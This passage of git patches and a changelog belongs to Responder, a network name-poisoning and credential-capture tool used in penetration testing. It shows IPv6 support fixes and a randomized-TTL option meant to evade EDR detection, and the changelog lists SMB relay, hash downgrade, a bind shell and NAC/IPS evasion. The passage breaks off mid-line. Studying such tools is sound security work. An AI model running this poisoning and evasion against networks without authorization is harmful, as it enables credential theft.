jrmdev). + +### Fixed + +- Fixed Harsh Parser variable typo ([5ab431a](https://github.com/lgandx/Responder/commit/5ab431a4fe24a2ba4666b9c51ad59a0bb8a0053d) by lgandx). +- fixed var name ([62ed8f0](https://github.com/lgandx/Responder/commit/62ed8f00626a2ad0fbbfb845e808d77938f4513a) by byt3bl33d3r). +- Fixes MDNS Name parsing error ([3261288](https://github.com/lgandx/Responder/commit/3261288c82fee415dd8e1ba64b80596ef97da490) by byt3bl33d3r). +- Fixed FTP module. ([75664a4](https://github.com/lgandx/Responder/commit/75664a4f37feb897be52480223cd1633d322ede8) by jrmdev). +- Fixing a bug in HTTP proxy, was calling recv() too many times ([ddaa9f8](https://github.com/lgandx/Responder/commit/ddaa9f87674dc8ac3f9104196f2f92cdec130682) by lanjelot). + +### Changed + +- changed operand ([cb9c2c8](https://github.com/lgandx/Responder/commit/cb9c2c8b97761cc5e00051efd74c9c3fdaf5762d) by byt3bl33d3r). + +## [v2.1.4](https://github.com/lgandx/Responder/releases/tag/v2.1.4) - 2014-12-06 + +[Compare with v2.1.3](https://github.com/lgandx/Responder/compare/v2.1.3...v2.1.4) + +### Added + +- Added: FindSMB2UPTime script. Find when is the last time a >= 2008 server was updated. ([7a95ef1](https://github.com/lgandx/Responder/commit/7a95ef1474d3cea88680f359581aa89a4e9c30f5) by lgandx). + +## [v2.1.3](https://github.com/lgandx/Responder/releases/tag/v2.1.3) - 2014-11-27 + +[Compare with v2.1.2](https://github.com/lgandx/Responder/compare/v2.1.2...v2.1.3) + +### Added + +- Added: DontRespondToName and DontRespondTo; NAC/IPS detection evasion ([36ef78f](https://github.com/lgandx/Responder/commit/36ef78f85aea5db33f37a6d1d73bf3bb7f82336f) by lgandx). +- Added --version and kost's fix for /etc/resolv.conf empty lines parsing. ([c05bdfc](https://github.com/lgandx/Responder/commit/c05bdfce17234b216b408080d9aba5db443de507) by lgandx). + +## [v2.1.2](https://github.com/lgandx/Responder/releases/tag/v2.1.2) - 2014-08-26 + +[Compare with v2.1.0](https://github.com/lgandx/Responder/compare/v2.1.0...v2.1.2) + +### Added + +- Added: Log command line in Responder-Session.log. ([f69e93c](https://github.com/lgandx/Responder/commit/f69e93c02e81a83309d3863f6d5680b36378a16b) by lgandx). + +### Fixed + +- Fixed serve-always and serve-exe with the new WPAD server. ([cf7b477](https://github.com/lgandx/Responder/commit/cf7b4771caf335a1a283fae08923c413acae3343) by lgandx). + +## [v2.1.0](https://github.com/lgandx/Responder/releases/tag/v2.1.0) - 2014-08-16 + +[Compare with v2.0.9](https://github.com/lgandx/Responder/compare/v2.0.9...v2.1.0) + +### Fixed + +- fixed: identation. ([5c9fec9](https://github.com/lgandx/Responder/commit/5c9fec923c8cb77f00466db6192b1ecb8980bdcf) by lgandx). + +## [v2.0.9](https://github.com/lgandx/Responder/releases/tag/v2.0.9) - 2014-05-28 + +[Compare with v2.0.8](https://github.com/lgandx/Responder/compare/v2.0.8...v2.0.9) + +### Fixed + +- Fixed high cpu usage in some specific cases ([4558861](https://github.com/lgandx/Responder/commit/4558861ce2dd56c0e4c5157437c8726a26e382c5) by lgandx). + +### Removed + +- Removed: old style options. Just use -r instead of -r On ([a21aaf7](https://github.com/lgandx/Responder/commit/a21aaf7987e26eee5455d68cd76ff56b5466b7f2) by lgandx). + +## [v2.0.8](https://github.com/lgandx/Responder/releases/tag/v2.0.8) - 2014-04-22 + +[Compare with v2.0.7](https://github.com/lgandx/Responder/compare/v2.0.7...v2.0.8) + +### Added + +- Added: in-scope target, windows >= Vista support (-R) and unicast answers only. ([2e4ed61](https://github.com/lgandx/Responder/commit/2e4ed61bba2df61a1e1165b466a369639c425955) by lgandx). + +## [v2.0.7](https://github.com/lgandx/Responder/releases/tag/v2.0.7) - 2014-04-16 + +[Compare with v2.0.6](https://github.com/lgandx/Responder/compare/v2.0.6...v2.0.7) + +### Added + +- Added: in-scope llmnr/nbt-ns name option ([1c79bed](https://github.com/lgandx/Responder/commit/1c79bedac9083992ba019ff7134cdb3c718a6f15) by lgandx). +- Added: Kerberos server and -d cli option. ([dcede0f](https://github.com/lgandx/Responder/commit/dcede0fdf5e060e77fc51fbad2da3dbbff8edf8d) by lgandx). + +## [v2.0.6](https://github.com/lgandx/Responder/releases/tag/v2.0.6) - 2014-04-01 + +[Compare with v2.0.5](https://github.com/lgandx/Responder/compare/v2.0.5...v2.0.6) + +### Fixed + +- Fixed [Enter] key issue ([c97a13c](https://github.com/lgandx/Responder/commit/c97a13c1bdb79b4dcdf43f889fdd586c3c39b893) by lgandx). + +## [v2.0.5](https://github.com/lgandx/Responder/releases/tag/v2.0.5) - 2014-03-22 + +[Compare with v2.0.4](https://github.com/lgandx/Responder/compare/v2.0.4...v2.0.5) + +### Added + +- Added: In-scope IP handling for MDNS ([b14ff0b](https://github.com/lgandx/Responder/commit/b14ff0b36a100736f293ddbd8bbe1c538a370347) by lgandx). + +## [v2.0.4](https://github.com/lgandx/Responder/releases/tag/v2.0.4) - 2014-03-22 + +[Compare with v2.0.3](https://github.com/lgandx/Responder/compare/v2.0.3...v2.0.4) + +### Added + +- Added: MDNS Poisoner ([90479ad](https://github.com/lgandx/Responder/commit/90479adcca066602885ea2bfec32953ce71d6977) by lgandx). + +## [v2.0.3](https://github.com/lgandx/Responder/releases/tag/v2.0.3) - 2014-03-21 + +[Compare with v2.0.2](https://github.com/lgandx/Responder/compare/v2.0.2...v2.0.3) + +### Fixed + +- fix: Bind to interface bug. ([a1a4f46](https://github.com/lgandx/Responder/commit/a1a4f46c7ba8861ff71c1ea2045a72acf2c829bd) by lgandx). + +## [v2.0.2](https://github.com/lgandx/Responder/releases/tag/v2.0.2) - 2014-02-06 + +[Compare with v2.0.1](https://github.com/lgandx/Responder/compare/v2.0.1...v2.0.2) + +### Added + +- Added: Analyze mode; Lanman Domain/SQL/Workstation passive discovery. ([2c9273e](https://github.com/lgandx/Responder/commit/2c9273eb2ca8d5080ff81273f602547fe649c259) by lgandx). + +## [v2.0.1](https://github.com/lgandx/Responder/releases/tag/v2.0.1) - 2014-01-30 + +[Compare with first commit](https://github.com/lgandx/Responder/compare/e821133708098c74497a3f9b0387a3ad048d5a48...v2.0.1) + +### Added + +- Added: Analyze ICMP Redirect plausibility on current subnet. ([06df704](https://github.com/lgandx/Responder/commit/06df704960c556e3c2261a52827d55eb7b4ed0d4) by lgandx). +- Added: Analyze stealth mode. See all traffic, but dont answer (-A cli). Minor bugs also fixed. ([9bb2f81](https://github.com/lgandx/Responder/commit/9bb2f81044cd94f36f54c8daf7f1183bc761bb24) by lgandx). +- Added: -F command line switch to force authentication on PAC file retrieval. Default is Off ([3f48c11](https://github.com/lgandx/Responder/commit/3f48c114d5e713bfe68bef1717e18d3c266f358e) by lgandx). +- Added: IMAP module and enhanced wpad. ([af60de9](https://github.com/lgandx/Responder/commit/af60de95679f20eca4765b1450f80c48fbef689c) by lgandx). +- Added: SMTP PLAIN/LOGIN module ([6828f1b](https://github.com/lgandx/Responder/commit/6828f1b11ebfc0fc25a8fd00e8f373f3adfb7fc6) by lgandx). +- Added: POP3 module. ([f48ea3f](https://github.com/lgandx/Responder/commit/f48ea3f4b644c3eb25c63d402c6d30fcd29be529) by lgandx). +- Added: MSSQL Plaintext module ([4c3a494](https://github.com/lgandx/Responder/commit/4c3a494c86b7a95cf2c43a71bac182f231bf71cb) by lgandx). +- Added: SMBRelay module ([4dd9d8c](https://github.com/lgandx/Responder/commit/4dd9d8c1df3717ed928e73083c30e21aa5eaf8b4) by lgandx). +- added: Command switch -v for verbose mode. Responder is now less verbose. ([46b98a6](https://github.com/lgandx/Responder/commit/46b98a616d540ae618198784d0775e687371858e) by lgandx). +- Added support for .pac file requests. ([6b7e5b6](https://github.com/lgandx/Responder/commit/6b7e5b6441c7fdf19a163b8efb6fd588ccfee8ae) by lgandx). +- Added: print HTTP URL, POST data requested prior auth ([f616718](https://github.com/lgandx/Responder/commit/f6167183e046d2759ab6b885dd2f94bb2902c564) by lgandx). +- Added command switch -I. This option override Responder.conf Bind_to setting ([68de4ac](https://github.com/lgandx/Responder/commit/68de4ac26ec34bbf24524abb0c0b11ae34aa27a3) by lgandx). +- Added: in-scope only target. See Responder.conf. ([0465bd6](https://github.com/lgandx/Responder/commit/0465bd604d7cc22ef2c97f938d8564677030e5bd) by lgandx). +- Added: Fake access denied html page ([9b608aa](https://github.com/lgandx/Responder/commit/9b608aad30529e2bfea4d7c6e99343df0ba2d9d0) by lgandx). +- Added: Configuration file, removed several cli options and several fixes. ([95eed09](https://github.com/lgandx/Responder/commit/95eed099424568d4c67402f12a5de5d9d72c3041) by lgandx). +- Added: Configuration file for Responder ([d573102](https://github.com/lgandx/Responder/commit/d57310273df524b99d17c97b49ee35eb3aec7b52) by lgandx). +- Added: Bind shell listening on port 140, use it with -e or -exe option if needed ([1079de0](https://github.com/lgandx/Responder/commit/1079de052b7cc7c6caeb80e6ee081568ff359317) by Lgandx). +- Added: Ability to serve whatever kind of file via HTTP and WPAD There's now 3 new options. ([a8c2952](https://github.com/lgandx/Responder/commit/a8c29522db3555f7733a80d29271b3229e1149c6) by Lgandx). +- added -I option to bind all sockets to a specific ip (eg: listen only on eth0) ([d5088b2](https://github.com/lgandx/Responder/commit/d5088b24ee3d8bead640b37480be57fe564e70b5) by Lgandx). +- added: HTTP auth forward to SMB. This is useful for SMB Relay or LM downgrade from HTTP NTLM ESS to SMB LM. ([0fcaa68](https://github.com/lgandx/Responder/commit/0fcaa68c074e496edb2164ca35659ff636b5a361) by Lgandx). +- added automatic poisoning mode when a primary and a secondary DNS is specified. ([ccbbbe3](https://github.com/lgandx/Responder/commit/ccbbbe34535c12b664a39f5a99f98c1da79ca5a6) by Lgandx). +- Added HTTPS module. ([9250281](https://github.com/lgandx/Responder/commit/92502814aa3becdd064f0bfb160af826adb42f60) by Lgandx). +- Added support for LM hash downgrade. Default still NTLMSSP. ([09f8f72](https://github.com/lgandx/Responder/commit/09f8f7230d66cb35e1e6bed9fb2c9133ad5cc415) by Lgandx). +- Added: Client ip is now part of the cookie filename ([2718f9c](https://github.com/lgandx/Responder/commit/2718f9c51310e18e91d6d90c86657bdd72889f2a) by Lgandx). +- Added a folder for storing HTTP cookies files ([d1a14e2](https://github.com/lgandx/Responder/commit/d1a14e2f27d856ca1551232502835d6cddb3602d) by Lgandx). +- Added WPAD transparent proxy ([9f1c3bc](https://github.com/lgandx/Responder/commit/9f1c3bcba32c6feb008a39ece688522dcd9e757f) by Lgandx). + +### Fixed + +- Fixed WPAD cookie capture ([afe2b63](https://github.com/lgandx/Responder/commit/afe2b63c6a556a6da97e7ac89c96f89276d521c3) by lgandx). +- Fix: Command line switch typo ([4fb4233](https://github.com/lgandx/Responder/commit/4fb4233424273849085781225298de39b6c9c098) by lgandx). +- Fixed minor bugs ([f8a16e2](https://github.com/lgandx/Responder/commit/f8a16e28ee15a3af91542269e5b1ec9c69ea3d75) by Lgandx). +- Fixed duplicate entry in hash file for machine accounts ([4112b1c](https://github.com/lgandx/Responder/commit/4112b1cd5d06f021dcc145f32d29b53d4cb8d82a) by Lgandx). +- fix for anonymous NTLM connection for LDAP server ([1c47e7f](https://github.com/lgandx/Responder/commit/1c47e7fcb112d0efdb509e56a1b08d557eb9f375) by Lgandx). + +### Changed + +- Changed WPAD to Off by default. Use command line -w On to enable. ([bf2fdf0](https://github.com/lgandx/Responder/commit/bf2fdf083cdadf81747f87eb138a474911928b77) by lgandx). +- changed .txt to no extension. ([5f7bfa8](https://github.com/lgandx/Responder/commit/5f7bfa8cbe75d0c7fd24c8a83c44a5c3b02717a4) by lgandx). +- Changed Windows =< 5.2 documentation to XP/2003 and earlier for clarification ([56dd7b8](https://github.com/lgandx/Responder/commit/56dd7b828cf85b88073e88a8b4409f7dae791d49) by Garret Picchioni). + +### Removed + +- Removed bind to interface support for OsX. Responder for OsX can only listen on all interfaces. ([dbfdc27](https://github.com/lgandx/Responder/commit/dbfdc2783156cfeede5114735ae018a925b3fa78) by lgandx). From 44bfd1d22195354544a01c646587f01f3219c97a Mon Sep 17 00:00:00 2001 From: lgandx Date: Sat, 6 Jan 2024 09:19:10 -0300 Subject: [PATCH 090/114] DNS dump updated + removed var dump info on Config-Responder.log --- settings.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/settings.py b/settings.py index 20f1672..3d3a699 100644 --- a/settings.py +++ b/settings.py @@ -332,7 +332,7 @@ class Settings: NetworkCard = "Error fetching Network Interfaces:", ex pass try: - DNS = subprocess.check_output(["cat", "/etc/resolv.conf"]) + DNS = subprocess.check_output(["resolvectl", "status"]) except subprocess.CalledProcessError as ex: DNS = "Error fetching DNS configuration:", ex pass @@ -348,7 +348,7 @@ class Settings: Message = "%s\nCurrent environment is:\nNetwork Config:\n%s\nDNS Settings:\n%s\nRouting info:\n%s\n\n"%(utils.HTTPCurrentDate(), NetworkCard.decode('latin-1'),DNS.decode('latin-1'),RoutingInfo.decode('latin-1')) try: utils.DumpConfig(self.ResponderConfigDump, Message) - utils.DumpConfig(self.ResponderConfigDump,str(self)) + #utils.DumpConfig(self.ResponderConfigDump,str(self)) except AttributeError as ex: print("Missing Module:", ex) pass From fa297c8a16f605bdb731542c67280a4d8bc023c4 Mon Sep 17 00:00:00 2001 From: lgandx Date: Sat, 6 Jan 2024 12:44:38 -0300 Subject: [PATCH 091/114] Fixed bug when IPv6 is disabled via GRUB. --- Responder.py | 62 ++++++++++++++++++++++++++++++---------------- poisoners/LLMNR.py | 5 +++- poisoners/MDNS.py | 5 +++- servers/DNS.py | 11 +++++--- settings.py | 3 +++ utils.py | 11 ++++++-- 6 files changed, 68 insertions(+), 29 deletions(-) diff --git a/Responder.py b/Responder.py index aff4ff5..8875430 100755 --- a/Responder.py +++ b/Responder.py @@ -69,6 +69,8 @@ settings.Config.ExpandIPRanges() #Create the DB, before we start Responder. CreateResponderDb() +Have_IPv6 = settings.Config.IPv6 + class ThreadingUDPServer(ThreadingMixIn, UDPServer): def server_bind(self): if OsInterfaceIsSupported(): @@ -78,10 +80,12 @@ class ThreadingUDPServer(ThreadingMixIn, UDPServer): else: if (sys.version_info > (3, 0)): self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8')) - self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False) + if Have_IPv6: + self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False) else: self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0') - self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False) + if Have_IPv6: + self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False) except: pass UDPServer.server_bind(self) @@ -95,10 +99,12 @@ class ThreadingTCPServer(ThreadingMixIn, TCPServer): else: if (sys.version_info > (3, 0)): self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8')) - self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False) + if Have_IPv6: + self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False) else: self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0') - self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False) + if Have_IPv6: + self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False) except: pass TCPServer.server_bind(self) @@ -112,10 +118,12 @@ class ThreadingTCPServerAuth(ThreadingMixIn, TCPServer): else: if (sys.version_info > (3, 0)): self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8')) - self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False) + if Have_IPv6: + self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False) else: self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0') - self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False) + if Have_IPv6: + self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False) except: pass self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER, struct.pack('ii', 1, 0)) @@ -131,11 +139,13 @@ class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer): #IPV6: if (sys.version_info > (3, 0)): - mreq = socket.inet_pton(socket.AF_INET6, MADDR6) + struct.pack('@I', if_nametoindex2(settings.Config.Interface)) - self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq) + if Have_IPv6: + mreq = socket.inet_pton(socket.AF_INET6, MADDR6) + struct.pack('@I', if_nametoindex2(settings.Config.Interface)) + self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq) else: - mreq = socket.inet_pton(socket.AF_INET6, MADDR6) + struct.pack('@I', if_nametoindex2(settings.Config.Interface)) - self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq) + if Have_IPv6: + mreq = socket.inet_pton(socket.AF_INET6, MADDR6) + struct.pack('@I', if_nametoindex2(settings.Config.Interface)) + self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq) if OsInterfaceIsSupported(): try: if settings.Config.Bind_To_ALL: @@ -143,10 +153,12 @@ class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer): else: if (sys.version_info > (3, 0)): self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8')) - self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False) + if Have_IPv6: + self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False) else: self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0') - self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False) + if Have_IPv6: + self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False) except: pass UDPServer.server_bind(self) @@ -160,8 +172,9 @@ class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer): Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP,socket.inet_aton(MADDR) + settings.Config.IP_aton) #IPV6: - mreq = socket.inet_pton(socket.AF_INET6, MADDR6) + struct.pack('@I', if_nametoindex2(settings.Config.Interface)) - self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq) + if Have_IPv6: + mreq = socket.inet_pton(socket.AF_INET6, MADDR6) + struct.pack('@I', if_nametoindex2(settings.Config.Interface)) + self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq) if OsInterfaceIsSupported(): try: if settings.Config.Bind_To_ALL: @@ -169,29 +182,36 @@ class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer): else: if (sys.version_info > (3, 0)): self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8')) - self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False) + if Have_IPv6: + self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False) else: self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0') - self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False) + if Have_IPv6: + self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False) except: pass UDPServer.server_bind(self) ThreadingUDPServer.allow_reuse_address = 1 -ThreadingUDPServer.address_family = socket.AF_INET6 +if Have_IPv6: + ThreadingUDPServer.address_family = socket.AF_INET6 ThreadingTCPServer.allow_reuse_address = 1 -ThreadingTCPServer.address_family = socket.AF_INET6 +if Have_IPv6: + ThreadingTCPServer.address_family = socket.AF_INET6 ThreadingUDPMDNSServer.allow_reuse_address = 1 -ThreadingUDPMDNSServer.address_family = socket.AF_INET6 +if Have_IPv6: + ThreadingUDPMDNSServer.address_family = socket.AF_INET6 ThreadingUDPLLMNRServer.allow_reuse_address = 1 -ThreadingUDPLLMNRServer.address_family = socket.AF_INET6 +if Have_IPv6: + ThreadingUDPLLMNRServer.address_family = socket.AF_INET6 ThreadingTCPServerAuth.allow_reuse_address = 1 -ThreadingTCPServerAuth.address_family = socket.AF_INET6 +if Have_IPv6: + ThreadingTCPServerAuth.address_family = socket.AF_INET6 def serve_thread_udp_broadcast(host, port, handler): try: diff --git a/poisoners/LLMNR.py b/poisoners/LLMNR.py index 3724f51..bec9d13 100755 --- a/poisoners/LLMNR.py +++ b/poisoners/LLMNR.py @@ -22,6 +22,9 @@ if (sys.version_info > (3, 0)): else: from SocketServer import BaseRequestHandler +#Should we answer to those AAAA? +Have_IPv6 = settings.Config.IPv6 + def Parse_LLMNR_Name(data): import codecs NameLen = data[12] @@ -86,7 +89,7 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class 'AnalyzeMode': '0', }) - elif LLMNRType == 'IPv6': + elif LLMNRType == 'IPv6' and Have_IPv6: Buffer1 = LLMNR6_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name) Buffer1.calculate() soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address) diff --git a/poisoners/MDNS.py b/poisoners/MDNS.py index a9b555a..0be2e83 100755 --- a/poisoners/MDNS.py +++ b/poisoners/MDNS.py @@ -23,6 +23,9 @@ else: from packets import MDNS_Ans, MDNS6_Ans from utils import * +#Should we answer to those AAAA? +Have_IPv6 = settings.Config.IPv6 + def Parse_MDNS_Name(data): try: if (sys.version_info > (3, 0)): @@ -82,7 +85,7 @@ class MDNS(BaseRequestHandler): 'AnalyzeMode': '0', }) - elif MDNSType == 'IPv6': # Poisoning Mode + elif MDNSType == 'IPv6'and Have_IPv6: # Poisoning Mode Poisoned_Name = Poisoned_MDNS_Name(data) Buffer = MDNS6_Ans(AnswerName = Poisoned_Name) Buffer.calculate() diff --git a/servers/DNS.py b/servers/DNS.py index 9bbabbe..521599d 100755 --- a/servers/DNS.py +++ b/servers/DNS.py @@ -21,6 +21,9 @@ if settings.Config.PY2OR3 == "PY3": else: from SocketServer import BaseRequestHandler +#Should we answer to those AAAA? +Have_IPv6 = settings.Config.IPv6 + def ParseDNSType(data): QueryTypeClass = data[len(data)-4:] OPT = data[len(data)-22:len(data)-20] @@ -65,14 +68,14 @@ class DNS(BaseRequestHandler): ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) print(color("[*] [DNS] SRV Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1)) - if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "IPv6": + if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "IPv6" and Have_IPv6: buff = DNS6_Ans() buff.calculate(NetworkRecvBufferPython2or3(data)) soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address) ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) print(color("[*] [DNS] AAAA Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1)) - if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv6": + if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv6" and Have_IPv6: buff = DNS6_Ans() buff.calculate(NetworkRecvBufferPython2or3(data)) soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address) @@ -113,14 +116,14 @@ class DNSTCP(BaseRequestHandler): ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) print(color("[*] [DNS] SRV Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1)) - if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "IPv6": + if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "IPv6" and Have_IPv6: buff = DNS6_Ans() buff.calculate(NetworkRecvBufferPython2or3(data)) self.request.send(NetworkSendBufferPython2or3(buff)) ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) print(color("[*] [DNS] AAAA Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1)) - if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv6": + if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv6" and Have_IPv6: buff = DNS6_AnsOPT() buff.calculate(NetworkRecvBufferPython2or3(data)) self.request.send(NetworkSendBufferPython2or3(buff)) diff --git a/settings.py b/settings.py index 3d3a699..87caa5e 100644 --- a/settings.py +++ b/settings.py @@ -168,6 +168,9 @@ class Settings: self.ExternalIP6 = options.ExternalIP6 self.Quiet_Mode = options.Quiet + #Do we have IPv6 for real? + self.IPv6 = utils.Probe_IPv6_socket() + if self.Interface == "ALL": self.Bind_To_ALL = True else: diff --git a/utils.py b/utils.py index 51ecb93..521fb64 100644 --- a/utils.py +++ b/utils.py @@ -219,7 +219,15 @@ def FindLocalIP(Iface, OURIP): print(color("[!] Error: %s: Interface not found" % Iface, 1)) sys.exit(-1) - +def Probe_IPv6_socket(): + """Return true is IPv6 sockets are really supported, and False when IPv6 is not supported.""" + try: + with socket.socket(socket.AF_INET6, socket.SOCK_STREAM) as s: + s.bind(("::1", 0)) + return True + except: + return False + def FindLocalIP6(Iface, OURIP): if Iface == 'ALL': return '::' @@ -234,7 +242,6 @@ def FindLocalIP6(Iface, OURIP): s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM) s.connect((randIP+':80', 1)) IP = s.getsockname()[0] - print('IP is: %s'%IP) return IP except: try: From e51f24e36c1f84bc995a690d385c506c35cc6175 Mon Sep 17 00:00:00 2001 From: lgandx Date: Sat, 6 Jan 2024 13:48:41 -0300 Subject: [PATCH 092/114] fixed minor bug --- utils.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/utils.py b/utils.py index 521fb64..0f7fdde 100644 --- a/utils.py +++ b/utils.py @@ -221,10 +221,12 @@ def FindLocalIP(Iface, OURIP): def Probe_IPv6_socket(): """Return true is IPv6 sockets are really supported, and False when IPv6 is not supported.""" + if not socket.has_ipv6: + return False try: with socket.socket(socket.AF_INET6, socket.SOCK_STREAM) as s: s.bind(("::1", 0)) - return True + return True except: return False From 1a2f2fdb22a2bf8b04e0ac99219831457b7ba43a Mon Sep 17 00:00:00 2001 From: lgandx Date: Sat, 6 Jan 2024 15:01:43 -0300 Subject: [PATCH 093/114] added support for either resolv.conf or resolvectl --- settings.py | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/settings.py b/settings.py index 87caa5e..6225de2 100644 --- a/settings.py +++ b/settings.py @@ -335,10 +335,12 @@ class Settings: NetworkCard = "Error fetching Network Interfaces:", ex pass try: - DNS = subprocess.check_output(["resolvectl", "status"]) - except subprocess.CalledProcessError as ex: - DNS = "Error fetching DNS configuration:", ex - pass + p = subprocess.Popen('resolvectl', stdout=subprocess.PIPE, stderr=subprocess.STDOUT) + DNS = p.stdout.read() + except: + p = subprocess.Popen(['cat', '/etc/resolv.conf'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT) + DNS = p.stdout.read() + try: RoutingInfo = subprocess.check_output(["netstat", "-rn"]) except: From f50f0be59c0de6fd0ff8eef62ba31db96815c878 Mon Sep 17 00:00:00 2001 From: nodauf Date: Tue, 2 Apr 2024 16:42:09 +0200 Subject: [PATCH 094/114] Add randomness in TTL value to avoid some EDR detections --- Responder.py | 1 + poisoners/LLMNR.py | 4 ++-- poisoners/MDNS.py | 2 +- poisoners/NBTNS.py | 2 +- settings.py | 12 ++++++++++++ utils.py | 1 + 6 files changed, 18 insertions(+), 4 deletions(-) diff --git a/Responder.py b/Responder.py index 8875430..5abcb90 100755 --- a/Responder.py +++ b/Responder.py @@ -45,6 +45,7 @@ parser.add_option('-Q','--quiet', action="store_true", help="Tell Resp parser.add_option('--lm', action="store_true", help="Force LM hashing downgrade for Windows XP/2003 and earlier. Default: False", dest="LM_On_Off", default=False) parser.add_option('--disable-ess', action="store_true", help="Force ESS downgrade. Default: False", dest="NOESS_On_Off", default=False) parser.add_option('-v','--verbose', action="store_true", help="Increase verbosity.", dest="Verbose") +parser.add_option('-t','--ttl', action="store", help="Configure the TTL in the victim cache. Value in hex (30 seconds = 1e)", dest="TTL", metavar="1e", default=None) options, args = parser.parse_args() if not os.geteuid() == 0: diff --git a/poisoners/LLMNR.py b/poisoners/LLMNR.py index bec9d13..e130273 100755 --- a/poisoners/LLMNR.py +++ b/poisoners/LLMNR.py @@ -76,7 +76,7 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class }) elif LLMNRType == True: # Poisoning Mode - Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name) + Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name, TTL=settings.Config.TTL) Buffer1.calculate() soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address) if not settings.Config.Quiet_Mode: @@ -90,7 +90,7 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class }) elif LLMNRType == 'IPv6' and Have_IPv6: - Buffer1 = LLMNR6_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name) + Buffer1 = 